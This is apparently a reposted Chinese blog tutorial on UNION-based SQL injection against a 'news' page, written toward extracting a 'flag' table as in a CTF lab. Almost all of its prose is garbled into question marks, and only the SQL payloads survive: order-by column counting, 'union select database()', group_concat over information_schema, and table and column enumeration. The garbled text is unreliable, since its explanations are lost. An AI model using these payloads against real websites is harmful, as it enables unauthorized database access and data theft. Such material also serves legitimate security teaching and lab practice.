本文共 1499 字，大约阅读时间需要 4 分钟。

???????????????????

??????????

??????????????????????????????????????SQL?????????????select * from news where id=1 order by 1???????????????????????????

????SELECT??????

?????????????????????SQL???select * from news where id=1 and 1=2 union select 1,database()

??????union?????????database()??????????????????????????????

????????????????

????????????????group_concat????columns??????????????????????????select * from news where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

??????????????????????????

??????????????

????????????information_schema????????????????????????????????????select * from information_schema.tables where table_schema='sqli'

???group_concat??????????????????????????

????union?????

union????????????????????????SELECT???????????????????????????????????select * from news where id=1 and 1=2 union select 1,database()

???????????

??????????????????SQL???select * from information_schema.databases

????????????????????????????????

?????????????

?????????????????????select count(*) from information_schema.tables where table_schema='sqli'

??????????????????????

?????????????

???????????????????????select table_name from information_schema.tables where table_schema='sqli'

????????????????????

???????????????

?????????????????select column_name from information_schema.columns where table_name='flag'

?????????????

?????????????????

???????????????????????select * from sqli.flag

????????????????????????????????

转载地址：http://zhlx.baihongyu.com/